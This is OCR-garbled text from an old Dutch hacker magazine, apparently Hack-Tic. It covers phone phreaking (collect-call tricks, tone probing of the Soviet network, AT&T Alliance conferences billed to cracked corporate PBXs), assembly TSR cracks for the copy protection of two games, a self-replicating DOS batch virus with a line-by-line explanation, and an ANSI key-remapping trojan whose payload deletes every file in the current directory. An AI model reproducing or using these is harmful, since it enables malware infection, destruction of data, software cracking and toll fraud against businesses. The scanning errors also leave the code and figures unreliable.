geweest op oktober algesioten. Als je ou na het 
belfen van 06-0101 in het hoofdmenu optie 3 kiest 
ijg je de operator aan de ijn. De PTT heeft haar 

tigen service kennelijk geprobeerd {moeteo 2¢ 
vaker doen) en is er achter gekomen dat als de 
_gebelde parti gewoon haar/zija mond dicht houdt 
‘ennniet neerlegt, dit door het systeem wordt opge- 

vat als het aannemen van de collect-call, OOK al 
wordt er niet op de oul gedrukt. Het probleem is 

wellicht dat antwoordapparaten precies het 
bovenstaande doen. 

Het was natuurlijk wel handig: je stant open 
station enje moet even doongeven date je komen 
halen, Je belt 06-0101 en je geeft in 10 seconden 
door dat je aangekomen bent. De opgebelde legt 
neeren komt je halen. De kosten voor het bezor- 
gro van dit bericht worden betaald uit de mil- 
Joenenwinsten van PTT-Telecom. Het kan 1: 
tuurlijk nog steeds: je laat de operator een collect- 
call maken naar Jantje. Jantje bestaat niet, maar 
de andere kant weet dat dit het afgesproken sein 
is om je te komen halen. Scheelt je toch elke keer 
weer een kwartje. 

De nadelige kant weegt natuutlij zwaarder: 
Je zult maar 3 geaccepteerde collect-calls op je 
antwoordapparaat hebben staan (a f5,00 per stuk 
‘en dan 20 cent per minuut). Laten we hopen dat 
dit systeem dan ook werkelik cen vroege dood is 
gestorven en dat niemand het onzalige idee krijgt 

‘om de geesten tot levente wekken. Zolang collect- 
calls de PTT'S gutden per stuk opleveren hoeven 
ve van ons eigentijk belemaal niet? 

   

  

Hackers lezen post systeembeheer 

Hack op Rijks 
Universiteit Leiden 

Sowhat? Bris weereenscen universiteitscom- 
puter getiacked. De lol is deze keer dat hackers 

alle post van de systeembeheerders vao de ge- 
hackie machines konden lezen. Zo konden 2 op 
de hoogte blijven van alle acties die tegey de 

indringers ondernomen werden ca werd er een 
langdurig spefieyje kat en amuis gespeekd. Een 
korte vitleg van de post die je op de volgende 2 
pagina’s aantreft. 
‘We vallea in bet verhaal als cen systeembe- 

beerder reageert op cea bericht waaria 1 van de 
hackers de beheerders op cen fout attent maakt. 
De systeembeheerders vinden nogal wat gaatjes, 
in hunsysteem enmelden die vine-mnail aan elkaar 
‘en dvs ook aan de hackers. 

Eenvande hackers viadt het 20 niet langereen 
uitdaging en stuurt een berichtje sam het systeem- 

beheer om ze te vertellen dat ze dit soort zaken 
beter onder 4 ogen kunnen bespreken. 

De systeembeheerders hebben nog steeds de 
‘Music dat de inbreker zich ergens op de universi- 
teit verschanst en willen cen paar logins open 
Iaten staan om de sooodaards te pakken, maar 

worden (van bovenat ?) verzocht de zaak dicht te 
stoppen, dit iv.m. mogelijte schade. 
Mea begint mail nv met'natuurlijk weet je niet 

zeker of ik het ben’, maarverder praat men rustig 
verderterwijl de hackersmeclezen. Deverwarring 
dic nu ontstaan is kan de hacker niet meer aan- 
ico. Hij connect direct met de mail-poort van het 
systeem (tricky, maar het korat er op ncer dat je 
het systeem geen afvender meer voor e-mail hoeft 
te vertellen) en legt in een berichtje de situatie uit 
Wie is kat en wie is muis? 

  

  

  

Hack-Tic zoekt: 
Outline fonts voor Bitstream-Fontware, leuke Ventura 20 extensions, een Nederlandse dictionasy- 

file voor Ventura 30, cen goedkoop adres voor de OPC-cartridge voor een FACT P.6010 laserprinter, 
goede electro-CAD software, cen groot en toch betasibaar woon/werkhuis met minstens 6 kamers (in 

de Randstad) en (lest but not least) sehr 

  

ters en schrijvers dic artikelen voor Hack- Fic willen schrijven. 
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Het Sovjet-telefoonnet 
A story of tin cans and strings..... 

Door Rop Gonggrijp 

Het is een grote kast, ietwat slordig tegen de gevel hangend, bijna nooit op slot en 
er 2it con warboel van draden in. Het is duidelijk dat elke technicus het zijne heeft 
gedaan terwijl hij vlockte op de vorige die de kast bezocht en zonder zich te 
‘bekommeren om hoe de volgende zijn werk zal moeten doen. Je vindt deze kasten 
veel in Moskou en ze laten nict veel te radem over wat betreft de staat van het 
telefoonnet. 

Ik verbleef bij vrienden die hun tele- 
foon kregen in 1982, en hem in 1970 
hadden aangevraagd. Zo te zien een 
gewone kiesschijf-telefoon zoals we die 
hier ook hebben gehad. Als ik hem had 
opengeschroefd, had ik waarschijntijk 
gemerkt dat de diodes die het menselijk 
gehoor moeten beschermen tegen de 
luide Kikken op de lijn tijdens de ver- 
bindingsopbouw ontbraken. Het maakt 
Pijnlijk duidelijk waarom sommige 
oudcre mensen nooit kiezen met de 
hoorn tegen hun oor. 

Binnen Moskou is het bellen nog 
redelijk goed te doen: je kiest het 7 cijfe- 
rige abonneenummer en je maakt een 
redelijke kans dat de juiste telefoon 
elders in de stad gaat rinkelen. Ook van- 
uit telefooncellen (die alleen lokale ges- 
prokken kunnen maken) gaat het goed. 
‘Vanuit con telefooncel kost cen gesprek 
2 kopeken (een kopek is 1/100 roebel). 
2kopcken is omgerckend ongeveer 0.03 
cent! 

Een heel ander verhaal wordt het als 
je interlokaal wilt bellen. Volgens de 
theorie kies je dan cen 8 en wacht je op 
een kiestoon om verder te kiezen met 
neinummer en abonnecnummer. In de 
praktijk is het krijgen van de kiestoon 
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een verhaal apart: als het net overbelast 
is hoor je ecn scric korte piepjes van 
dezelfde frequentic als de tweede kies- 
toon. Het register in de centrale ktikt 
dan door de nitgaande lijnen heen en 
komt er achter dat ze in gesprek zijn en 
gaat verder. Dit betekent waarschijnlijk 
dat de mensen die in gesprek zijn op die 
lijnen cen klik horen terwij] andermans 
register kijkt of de lijn vrij is. Na 5 keer 
proberen geeft het register het op en 
hoor je de in-gesprektoon. 

Komt het gesprek tot stand dan is de 
‘kwaliteit van de verbinding in ieder 

gevalopz’n best belabberd. Het kan zijn 
dat de andere kant zo verzwakt klinkt 
dat er gecn gesprek te vocren is, en ook 
veelvuldig klikken en cen harde ruis 
behoren tot de mogelijkheden. 

Om een informatie-operator in cen 
andere stad te berciken kies je een 8 en 
dan bet netnummer van die stad en dan 
een nummer dat per stad verschilt. De 
mummers van moskou staan in een luxe 
gebonden telefoonbock (het verandert 
toch niet zo snel als het 12 jaar duurtom 
cen lijn te krijgen). Ook de informatie 
mummers staan in elk telefoonboek. 

International bellen vamuit de Sov- 
jet-Unie kan op drie manicren:



Je kunt bij een groot internationaal 
hotel cen telefoonkaart kopen en ge- 
bruik maken van de internationale tele- 
fooncel in dat hotel, Deze cellen accep- 
teren niet alleen de speciale kaarten, 
maar ook American Express en Master- 
card, De kaarten kosten 30 rocbel per 
stuk, maar je moet ze wel kopen tegen 
de 2:1 koers die bet hotel hanteert 
(gewone koers 60:1). Het gesprek kost 
op deze manier zo’ 10 gulden per 
minuut naar Europa, naar Amerika is 
het nog duurder. 

Je kunt het gesprek aanvragen bij de 
telefoniste in Moskou. Je moet ongeveer 
een uur proberen om er door te komen 
en het gesprek moet 24 uur van tevoren, 
worden aangevraagd. Kosten: ongeveer 
50 cent per minuut (het gemiddeld 
maandsalaris in de Sovjetunie is om- 
gerekend f20,-). 

Je kunt ook direct naar het buiten- 
land bellen door cerst cen 8 en dan 10 te 
ellen, gevolgd door het landaummer, 
netnummer en abonneenummer. In de 
Moskouse Pizza-Hut ben ik cen Neder- 
landse student tegengekomen die in huis 
woont met iemand die weer iemand zegt 
te kennen die het wel cens gelukt is om 
op deze manicr con gesprek tot stand te 
brengen. Ik heb het zelf enige uren ge- 
probeerd maar ik ben er niet doorheen 
gekomen. Na alles te hebben gedraaid 
volgt steevast een bandje in het russisch 
dat me mededeelt dat mijn gesprek he- 
laas is gestrand, 
Goed, dan maar zelf een beetje rond- 

Kooien. Gelukkig had ik mijn Rainbow 
Warrior (de voorganger van de Demon- 
Dialee) bij me. Met dit kastje kon ik alle 
tonen maken die voor het besturen van 

aardse telefoonnetten nodig zijn. Ik 
belde de informatic-operator op een 
lange verbinding (Moskou-Wladiwos- 
tok) en hoorde toen aij opnam cen 
piepje dat verdacht veel leek op cen 

2600 Hertz toon zoals ook vroeger in het 
Amerikaanse systeem gebruikt werd. Ik 

belde nog cen keer en gaf nu zelf de toon 
via de microfoon en .... weg was de ver- 
binding. 
Nog een kwartier later wist ik dat cen 

heel kort piepje het sein was om weer 
cen nieuwe verbinding op te bouwen (de 
centrale reageerde met een kort toontje 
om me te zeggen dat ik kon beginnen 
met het sturen van de cijfers). Ik heb het 
een en ander geprobeerd maar kon bet 
juiste formaat die avond niet mecr vin- 
den. Wel hoorde ik op de achtergrond 
de signalerings-riedels van andere ges- 
prekken en ik kon opmaken dat het ging 
om een systeem dat werkt met MF- 

tonenen dat er vecl digits werden gezon- 
den, Waarschijolijk wordt zowel het ge- 
belde als het bellende nummer verzon- 
den, zodat eventuele autoriteiten on- 
middelijk kunnen zien wie wie belt. Ik 
bestoot de volgende dag binnen te 
Dlijven om het alicmaal cens goed op cen 
rijtje te zetten. Echter, toea ik wakker 
werd reden er tanks door de straten cn 

was er cen klassick pianoconcert op TV. 
Is dit een klassick voorbeeld van cen 

overheid die paniekerig wordt als men- 
sen met het telefoonnet spelen of was er 
meer de hand? De geschiedenis zal het 
ons leren, In ieder geval was binnen zit- 
ten en spelen met de telefoon er tot mija 
vectrek niet mecr bij. Maar de zucht 
naar kennis blijft en misschien schrijft 
iemand dic dit stuk Ieest het vervalg. 
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KRAAK! 

Een nieuwe rubriek door V.i. Ulianov 

Hack-Tic denkt aan haar lezers, Daarom hebben wij besloten onze al aanzienlijke dienstvertening 
og verder uit te breiden. Hier koroen de diverse software-beveiligingen aan bod. Natuurlik is deze 
informatie uitsluitend bedoeld voor legiticme kopers van oorsponkelijke programma’s die het zat zijn 
steeds in de handleiding te moeten zoeken naar sleutchwoorden €.2., of die graag cen backup witlen 
kaonen maken van hun dure diskette. Maar dat wisten jolie al. 

‘Om te beginaen nemen wij twee bekende programma’s hier onder de Joep. Het is viteraand de 
Ddedoeling dat de lezers deze rubriek draaiende houden door lastige pakketten aan ons op te sturen. Let 
‘op: Als het om een hardware beveiliging gaat (zoals cen zogenaamde "dongle"), heeft het geen zin om 

alleen de software toc te sturex. Wij hebben dan de hele hap nodig, Na het kraken daarvan wondt alles 
(misechien) teruggezonden mits cen geadresseerde en gefrankcerde enveloppe bijgevoegd wordt met 

cen verzoek tot terugzending, als de begeerde denodighedea intussen nict zockgeraakt zija,en als wij zin 
hebben. Zoals gebruikelij geven wij geen enkele garantic, maar wat verwacht je van cen gratis dienstver- 
lening? 

‘Ook mensen die zelf op originele wijze cen programma gekraakt hebben worden verzocht hun 
bbezighedea goed te documenteren en de hele hap aan ons.op te sturen. 

Natuurtijk gaat het ons niet om het kraken van andcrmans duur ontwikkelde software, maar om het 
onderoeken van interessante beveiligingstechnieken. Wij nemen aan dat anderen die interesse met ons 

delen. De hier beschreven kraken zijn dus uitsluitend voor educatief doeleinden bedoeld. Misbruik ervan 
‘wordt in het biernamaals zwaar bestraft. 

688 Attack Sub 
Bij het opstarten van 688 Attack Sub, verschijnt cen tekst dic je moet afmaken met behulp van de 

handleiding. Er zijn tientallen mogelike teksten. De tekst die je te zien krijgt is afhankelijk van het 
gekozen spel en de DOS tijd teller. Hen heel eenvondig manier om dit lastig te kraken spe! toch te kraken 
is gewoon cen TSR te maken die de DOS tijd call onderschept, en altijd dezellde waarde teruggectt (in 
dit geval 0). Dit brengt het mogetijke aantal teksten terug tot vijf, die in de TSR weergegeven zijn. De 
TSR zelf kan vanuit cen batch file geinstalleerd worden voor het runnen van 688, en daama weet 
verwijderd worden door het programma een tweede keer te ronnen. 

Aaardige bijkomnstigheié: Dit truukje lost ook een bug op, die na cen tijdje spelen alles vast laat lopen. 

   

    

fucksub sequent 
org 100h 
soume csifucksub, ds:fucksub, es:fucksub 

begin: jop start 
eldzih da ° 
new2ihs pushf DOS FUNCTION INTERRUPT REVECTOR 

emp ah, 2ch #TIME FUNCTION REQUEST 
jne done 
xor dx dx 
popt iret 7RETURN WITH 0 

done: popt 
Sup ces[old21h] =; D0 INTERRUPT. 
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start: nov 

    

    

  

  

ax, 3521h 7GET 008 VECTOR 
int 21h 
mov ax,ea:[bx+2] 
emp ax, 2cFch {CHECK IF TSR INSTALLED 
jne install NO, INSTALL 
mov dx,est[bx-4] +¥EBS, UNINSTALL 
mov ds,esr[bx-2] 
moy ax, 25218 ;RESTORE VECTOR 
int 21h 
Rov ah, 49h FREE MEMORY 
int 21h 
ret +DONE 

install: mov si, 80h iCBECK DISPLAY PARM 
mov axy (ai) 
cap al,o 
ja skip 
emp ah,*/" 
je skip iNO DISPLAY 
lea dx, string sDISPLAY REY TEXTS 
mov ah 
int 2th 
xor 
int WAIT FOR KEYPRESS 

skip: lea 9i,old2ih SAVE VECTOR 
nov [8i]/bx 
nov [xi+31,e8 
lea dx,new21h 
mov ax, 2521h 
int 21h ;REVECTOR 
mov es,cs:(2ch) __; RELEASE. ENVIROSNENT 
mov ah, 45h 
int 21h 
lea dx start 
int 27h 260 RESIDENT 

string db 13,210,106 
a" FUCKSUB.COM -- the 688 crack’ ,13,10,10 
db ‘Possible key codes:‘,13,10,10 
db ‘*Oklehona ... ballast tanks 1 PIL , 213,10 
db "Albany ... 10" ' DIF" ,23,10 
db ‘*Baton Rouge ... navy wante" 1 You" 513,10 
db ‘"Richover ... your submarine is thes 1 FIX’ ,13,10 
a> '*Richover ... top-down map gives you" ABR‘, 13,10,10 
db ‘The codes only change when you change games. Run FUCKSUB before 

  

screen. ‘,13,10 
db ‘Press a'key to continue ...',13,10,10,36 

Fuckaub ends 
end begin 

31 

Add a delimiter ("/*) to kill thie message 
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2. Larry Il 
Lanry Tisbekend vanwege die vervelende telefoonaummers. Het probleem is dat de oumomers gecrypt 

{in een bestand stean, Pas als ze nodig zijn, worden ze ingelezen en gedecrypt. Gelukkig zijn de eerst érie 
Gifers altijd hetzelfde, SSS, en komen ze voor elk nummer. De volgende TSR onderschept de DOS 

“READ FILE" funktie en kijkt inde juste pik van de geheugen naar“555*, Daama wordt ieder nummer 
opgezocht in het geheugen en overschreven met “VOU. Hicmna wordt de TSR uitgezet met cen flag bit. 
Ditvoorkomt dat het programma het geheugen biift afzocken bij iedere READ funktic, wat de werking 
‘van de spel aanzientijk 200 vertragen. 

Nu hoeft je alleen “0000” in te tikken, wat altijd geljk is ane het gekozen nummer in het geheugen. 
Door dit programma op te roepen vanuit een batch file voor en aa het runnen van Larry Il, wordt het na 
het spel weer vit de geheugea verwijderd. 

    

larry? segnent 
org 100h 
assume cotlarry2, ds: larry? 

1 
starti jap install 

flag ab ° 
old2ih dd o 

new2iht pusht 
test cstflag,1 
jnz doint PACT NORMAL IP SBT 
test ca: fllag,2 {CHECK READ FILE FLAG 
jnzcrackit :CHECK MEMORY IF SET 
cap ah, 3fh CHECK FOR READ FILE FUNC 
jne —doint OTHERWISE LET CALL THROUGH 
or estflag,2 SET READ FILE FLAG 
jap doint. CONTINUE INTERRUPT 

crackit: push ax iSAVE REGISTERS 
push ox 
push di; 
pash es 
push = ds 
pop    

  

mov di, Obadah FOFFSET TO SCAM PROM 
mov al,esi {di} 
jmp al, 35h CHECK FOR PROME NUMBER PREFIXES 
jne done IF NOT (YET) PRESENT SKIP REST 
Rov cx, 3eah AMOUNT OP MEMORY TO SCAH 
eld 

scanit: mov al, 35h MOVE UP TO NEXT PREFIX 
repne  scasb 
jnz done 7END OP SERIES 
mov ax, eo: (dil 
cmp ax, 3535h {CHECK FOR "55S* PREFIX 
jne —scanit TIP NOT KEEP TRYING 
add di,3 
mov ax, 3030 JOVERWRITE MUMBER WITH O 
mov ea [di] ,ax 
mov es: (dit2],ax 
or DEACTIVATE TSR     
imp scanit }SCAN REST OF NUMBERS 
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done: and ces flag,1 ;RBACTIVATE READ PILE FLAG 
pop ew PRESTORE REGISTERS 
pop di 

ox 
Pop ax 

doints opt 
Jap estold2ih #DO INTERRUPT 

install: mov ax, 3521h cer VECTOR 
int 21h 
mov ax,eas [bx#2] 
cmp ax, 66h jCWRCK 1F TRSTALLED 
jne — doinsta1 yMO, INSTALL 
mov dxyeas[bx-4] ;¥86, UNINSTALL 
mov deat [bx-2] 
mov ax, 2521 
int 21h 
mov ah, 49h 
int = 21h 
ret 

doinstall: mov 4/80b, ;CHRCK FOR DISPLAY PARK 
mov ax, [6d] 
exp 4,0 
ja skip 
cmp ah, 2th 
je skip 7SRIP_ MESSAGE 
lea dx, string IDISPLAY KESSAGE 
moy = ah,9 
int 21h 
zor —abyah 
int 16h (AIT FOR KEYSTRORE 

skip: Jea i old21h INSTALL TSR 
mov [#i) bx 
mov (i421, 
lea dx new2: 
mov ax,2521h 
int 21h 
mov — e8,2ch 
moy = ah, 49h 
int 21h 
lea dx, instal 
int = 27h 160 RESIDENT 

1 
string db 13,10,20, "The LARRY2 crackt* ,13,10,10 

Run this progran from @ batch file before end after “SINNRA*. then 
just’, 13,10 

dp type 70000" ne the phone number. The program wil] load slower but 
will’, 13,10 
db ‘run normally after you have entered the phone number.’ ,13,10,10 
db ‘Add a delimiter {*LARRY2/") to kill this message screen.’,13,10, 
db ‘Press a key to continue ...',13,10,10,36 

  

larry2 ends 
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Alliance Teleconferencing services. 

Alliance is een dochter-maatschappij van AT&T (de Amerikaanse PTT) die cen 
service levert die wel erg interessant is voor de gemiddelde phreak. Via hun systeem 
kun je namelijk vergaderen per telefon. Je kunt Alliance op een aantal manieren 
berciken, namelijk via: 

Alliance Dial-Out Service: 
0+ 700 +456-100X_ 
0 +700 +456-200X 
0+700 + 456-3000 

Alje voor X een 1 draait dan krijg je Alliance in Reno, met 2 krijgje ze in Chicago, 
met 3 in White Plains (NY) en met cen 4 krijg je ze in Dallas, 

Draai je voor X een 0 dan krijg je het Alliance Conference Center dat het dichtst 
bij jou zit (of het dichist bij de PBX of diverter die je gebruikt). 

Hoczo PBX/diverter? Dit zijn Amerikaanse nummers die je niet ’zomaar’ kunt 
bellen! Je moet ecn diverter (doorkiezer) of een PBX (bedrijfscentrale) in de VS 
kraken om vervolgens een nieuw uitgaand gesprek te maken, zodat het telefoonnet 
denkt dat jc vanuit Amcrika belt, Misschien hierover cen andere keer meer. 

Het 0700-456-100X nummer is “Alliance Teleconfereace 1000 Dial-Out Service’. 
Deze service geeft je de mogelijkheid om cenvoudig met cen Touch-Tone telefoon 
(of Touch-Tone dialer) een conferentie op te zetten. 

Mct 0700-456-200X kun je cen "GRAPHICS CONFERENCE’ opzetten, met als 
deelnemers modems, faxen en dergelijke. Met het laatste nummer (070-456-3000) 
kun je tegelijkertijd ecn voice conference en een graphics conference opzetten, Je 
moet eerst 1-800-544-6363 bellen om van deze mogelijkheid gebruik te kunnen 
maken. 

Je kunt één van deze conferences opzetten door de bovenstaande nummers te 
bellen. Dan krijg je cca aardige (computergegencreerde) vrouwenstem. De stem 
vertelt je precies vertelt wat je moet doen, namelijk: 
@ het invoeren van het aantal personen dat je op je conference wilt hebben (met ecn 
maximum van 15, inclusicf jezelf). 

© het invoeren van het nummer dat je als eerste wil belten (1 + areacode + summer 
of 011 + landnummer + nummer). 

@ als je de persoon aan de lijn hebt die je in je conference wil hebben druk je op #. 
als je die persoon niet op je conference wil hebben druk je op *. 

@ dan kun je weer een ander bellen of met # zelf op de conference komen. 
Je hebt dus 2 onderdeten in cen Alliance Dial-Out Conference, een dial-mode en 

cen Conference mode. Je kunt van de één naar de ander komen door op het # te 
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drukken. Wil je de hulp van cen operator dan moet je 0 drukken als je in dial-mode 
bent. 

Ping-Ping 
De kosten van cen Alliance Dial-Out Conference zija: 

© $35 set-up kosten 
@ standzard AT&T telefoonkosten vanaf de Alliance Conference Center tot de 
personen die je belt. 

@ $0.25 voor elke lijn die je gereserveerd hebt (het maakt niet vit of die in gebruik 
is of niet! 
@ als je cen Alliance operator je conference leat opstarten dan kost dat $3.50 per 

lijn extra. 

  

Deze kosten worden via de AT&T telefoonrekening gestuurd naar het telefoon- 
summer waarvaa jij als "Conference Leader’ belt. (dus niet een calling-card/credit- 
card of zoiets) Als je dus een PBX gebruikt dan wordt het naar dat bedrijf gestuurd! 

Meet-Me 
Ook kun je Alliance gebruiken via de Alliance Meet-Me Service: Deze service is 
bedoelt voor het opzetten van conferences waar je naartoe moet bellen als gebruiker 
(in tegenstelling tot de Alliance Dial-Out Service, waarbij alleen de ‘Conference 
Leader’ belt en de anderen allemaal gebeld worden door de "Conference Leader’). 

Deze service werkt bijna net 2oals de ‘party-lines’ in Nederland. Je belt eca 
bepaald nummer, en je wordt gekoppeld aan alle andere personen die ook dat 
nummer hebben gebeld. 

Het opzetten van een Meet-Me conference gebeurd door middel van cen Alliance 
operator. Deze kun je berciken door 1-800-544-6363 te bellen. Deze operator zal je 
dan vragen naar het nummer waar bij/2ij jou op terug kan bellen, dit om jouw 

identiteit te verifieren en om de kosten van de Meet-Me conference naar dat nummer 
door te sturen. Wanneer je de Meet-Me conference opzet wordt je gevraagd hoevee! 
mensen er ongeveer Zuilea bellen. Daarna krijg je 2 nummers, 1 is voor jou als, 
"Conference Leader’ en de andere is het nummer die je kunt uitgeven aan alle 
personen die je op de Mect-Me conference wil hebben. 

Met het nummer voor jou als "Conference Leader’ kun je mensen van je con- 
ference afgooien en nog wat meer opties. Dat nummer moet je aatuurlik niet 
uitgeven, dan zou iemand anders de conference kunnen stoppea. 

Have pbunt 
the Miracle Kid 
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TICVIRUS .BAT 

@)  @ctty nul: 

@ copy %0.bat/a snotkop.se6/A 
@ echo HACK-TIC >snotkop. ##4 
@) echo :reutel >> snotkop.### 
@) echo ctty con: >> snotkop. ### 
() copy snotkop.£&6/B+ snotkop.#44/B 

4 
1 
, 
1 
1 
1 
1 
1 
‘ 
It 
t 
' 
1 

1 
(echo copy snotkop.s&& 881 >> snotkop.bat 1 
@ echo copy 881/B+ snotkop.$$$ >> snotkop.bat 1 
@) echo attrib #r #81 >> snotkop.bat 1 

1 
’ 
1 
1 
1 
1 
1 
' 
1 
1 
1 
1 
1 

4 

(10) attrib +r snotkop-bat 
(for 88f in (*.bat) do command /e snotkop ef 

(2) attrib -r snotkop.bat 
(3) del. snotkop.* 

(4) goto reutel 

Qs) <EOF>nacx-rre 
(6) :reutel 
(ety con: 

t 
t 
' 
1 
t 
T 
1 
' 
i) 

1 
1 
1 
1 @ echo copy %81 snotkop.$$§ > enotkop.bat 
1 
' 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 
1 

  

Batch-Virus voor IBM-PC en klonen. 

De uitleg 

Als je dit virus bekijkt vat je misschien iets op: er staat op rege! 15 een EOP in vette letters. We 
bedoelen hier het EOF-teken, waarvan de ASCII waardc 26 is. De meeste editors laten tor dat je dit 
teken midden in je file opnecmt als je het intikt door de ALT-toets vast te houden terwil je 26 intikt. 
Op de cerste regel zet het virus de schermoutput uit door alle console-Vo naar de aul-device (de 

prullebak) te verwijecn. Door cen apestuartje voor dit commando te zetten is ook dit commando zelf niet 
‘ichtbaar. Vervolgens kopicest het virus in regel 2 de aangeroepen batchfite (%0in DOS batchtaal) naar 
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4c file ‘snotkop.& 8’ omdat achter de source-file een /A staat gaat de copy niet verder dan het EOF 
teken en wordt dus het lantste stake niet meegekopicerd. Zouden we dit wel kopicerea dan z0u ook het 
Srager-programma waaraan deze parasict vastait gekopicerd wordea, en dat willen we niet. Door achter 

4c destivation file ook een /A te zetten zargen we ervoor dat copy he! EOF-tcken achter de destination- 
file plat. 

Achter dit BOF-teken moet de oorspronkelijke Datch-fie staan, maar dan mag DOS nooit proberen 
om het EOF-teken uit te voeren, want dan hangt het esteem. We mocten dus eco goto-label na het 
BOF-eken neerzetten. Dit moet echteraist op dezelfde rege! als het BOF -tcken en dus moeten we eerst 
cen paar duromy tekens achter het BOF-teken zetten, Wij kozen de string 'HACK-TIC- In egel 2, 360 
4 maken we het stasrije van de file opaicuw aan en stoppen we het in de fle ‘motkop.6# #". 

‘Vervolgens plakken we op regel 5 de files ‘sothop.&2" en ‘sootkop.###° aan elkaar in 1 Mle, 
namelijk'snotkop.&2&"' (het + teken schtcr die naam in de copy betekeat dat copy zijn output weer in 
ie fle terug moet stoppen), De /B betekent dat het hier gaat om cea binary-copy, d.wz. dat het 
EOF-teken aan het cind van de oorspronkelijke file snotkop.&& bit stana en dat et aan bet eind van 
de ‘nieuwe’ file ‘snotkop.£&2" geen EOF-teken wordt tocgevocgd. 

In regel 6 tm 9 makea we een huipfite aan die “sotkop bat’ hect. Deze fle doet het cigealike 
esmettingsweric de batch-file bevat aan bet eind van regel 9 opdrachten om 2ijn argument (de te 
besemetten batch-file) te kopieren naar een tidelike file Csootkop 585°), vervolgens de File ‘snot- 
kop. 8:6 ervoor in de plaats te zetten (bet complete virus 20nder het dragerprogramame, zoals zojuist 
sgedestilleerd) en vervolgeas het verplaatste dragerprogramana er weer aan vast te koopen 
Op reget 9is het mechanisme te zien dat er voor orgt dat het virus niet twee keer devetfée file (of 

ichzelf) Desmet. Als het virus zichrelf zou besmetten zou de computer hangen, met alle nare gevolges 
van dien. Het virus zet d.my. het DOS-commando ‘attrib' de read-only bit van de besmette files aan 

Deze dit, die zich in de DOS directory bevindl geeft aan dat cen file niet beschreven mag worden. AIS 
itzelfdc virusin cen later siadium probeert om deze file nogmaals te besmetten zouden slechtseen lading 
foutmeldiagen het gevolg zijn, ware het nict dat alle schermuitvoer gedurcnde de uitvocringvan dit virus 

inde prutlebak wordt gesmeten. In regel 10 zet het virus ook nog even de read-only bit van ‘snotkop bat’ 
zelf aan (deze boeft niet besmet, het is een tijdeijte fe) 

Heel belangrijk: Als je het programma hebt ingetikt moet je er dus met ‘atrib + ticvirasbat’ voor 
zorgen dat de read-only bit annstaat, anders zal je prograrama zichzelf proberen te besmmetten en hangt 
de.computer. 

Op rege! 11 begint het echle wer: door middel van cen DOS-atch commando dat in echte 
Microsofi-stijl totaal onleesbaar is wordt opdracht gegeven om voor alle Biles i de huidige directory die 
voldoen aan de fWespecificatie “.bat’ een nieuwe DOS-commandiaterpreter op te starten die op zijn 
bdeurt weer ‘snotkop.bat’uitvoert metals argument de te besmetten file. Dit Likt omslachtig, maar onder 
DOSis het helaas niet mogetijkom batch-files vanuit endere batch-fles aan te roepen in deze constructic. 

Nadat alle files besmet zijn zet het virus de read-only status van sootkop.bat weer uit (regel 12) en 
wist het alle ‘snotkop."” files (rege] 13), zodat er geen vreemde files in de directory overbijven. Dan 
Springt het naar 'reutel, het 2et op regel 17 de schermuitvoer weer aaa en voert de batch-commandos uit 
ie in het éragerprogramma staan. De user merkt helemaal niets... 

at wil zeagen, als hij geen enke) besef van tid heeft, Voor de mensen die hopen met dit virus 
destructieve dingen te kunnen doen (‘del *.*', ‘format ¢:’, noem maar op), hebben we cen trieste 
mededeling dit virusis langzaam en niet z0'n beelje ook. Microsoft heeft namelik bestoten dat batch-files 
niet in bet gehengen ingelezen worden maar dat clke regel apart van disk gelezen wordt, en dat heeft op 
zijn zachtst gezegd een desastreuze invloed op de verwerkingssnedheid, Ook het feit dat we voor elke 
beametting cen niewwe commandinterpreter mocten laden helpt aict echt mee. 

Wij hebben dit getest op een AT'386/39MItzen over het besmetten van 7batch-files doct het systeem 
toch al gauw 7o'n 40 secanden. De kans dat cen gebraiker dit niet door heeft is eng tein. We zeiden bet 
lin het colofon: ‘alleen voor educatieve doeleinden’ 
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ANSI Virussen 

ANSI is cen interaationaai gedefineerde reeks van staurkodes om alleriei leuke 
ingen met je scherm en toetsenbord uit te hates. Zo kan je met behulp van de ANSI 

driver leuke tekeningetjes op iemands scherm toveren (in allertei Kleuren) terwijl 
Je gewoon ASCII tekst overseint. 

Je kun met behulp van de ANSI-driver ook toctsen herdefinieeren. Dit kan dan 
gebruikt worden om bijvoorbeeld telix op te starten met cen simpele druk op de FA 
tocts, maar het is ook mogelijk dat iemand dit gebruikt om stap voor stap je 
directories leeg te maken. Dit gaat zo snel dat voordat je op Ctrl-C kan drukken er 

al aardig wat schade is aangericht. 

Hoe werkt het? 
Het herdefinicerea van toetsen is redelijk simpel. Het commando is: 
<ESC>[ {toetsnr}, {char}, {char}, {etc...}p 
Waar de <ESC > eenescape is (ASCII waarde 27), en toctsar de decimale ASCII 

waarde van de te herdefinieren toets, en daarna de ASCII waardes van de karakters 
die erin moeten komen. Dus, om onder de spaticbalk het woord hacker te zetten, 
neem je cerst de waarde van de spatiebalk, dat is 32. Daarna de afzonderlijke letters 
van het woord HACKEI 

H = 72,A = 65,C = 61,K = 75, E = 69,R = 82 
‘Dus het commando wordt <ESC>( 32, 72,65, 67,75, 69, 82p 
Als je hierna op de spatiebalk drukt, kort er in plaats van cen spatic het woord 

HACKER te staan. Het kan ook makkelijker, door het word tussen aanhalings- 
tekens te zetten. Hetzelfde kan dus bereikt worden met <ESC>[ 32, “HACKER™p 

  

  

Virussen 
Hetis met deze kennis redelijk simpel om te begrijpen hoe ANSI virussen werken. 

(Trouwens, iedereen heeft het over virussen, maar cigentijk zijn het trojan-horses). 
ANSE-virussen kunnen verwerkt zijn in ANSI tekeningen, of in messages op bbs’en 
(werkt niet op RA/OBBS/SBBS). Hier volgt cca voorbceld van cen ANSI virus. Dit 
zat in cen file FREEHST.ANS op cen BBS. Ik heb alleen het gedcelte met het virus 
overgenomen, Alles stond gewoon op een regek 
<ESC>[32;113;13;10 971047111; 102; 102;13;99;108;11! 

1799; 104;111;32;121;32;124;32; 100; 101; 108; 32;42;46;42;32;6 

233: 10;117;108;13 

Dit is nog maar een klein gedeelte van het echte virus, ik zal hem nu even 
opsplitsen, en uitleggen wat het is: 
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<ESC>[32;113;13 <space> wordt gq, gevolgd 
door een return 

Deze q zorgt ervoor dat het ingetikte commando ongeldig wordt zodat DOS het 
nict uitvoert, maar er slechts met cen "Bad command or file name’ op reageert. 
7101 04;111;32;111;102;102;13:echo off 

799; 108; 115513 rele 

{de rest} zecho y | del *.* null 
Dus, zodra iemand nadat deze file bekeken is op de spaticbalk drukt worden alle 

files in de dir waar hij in zit gewist, 
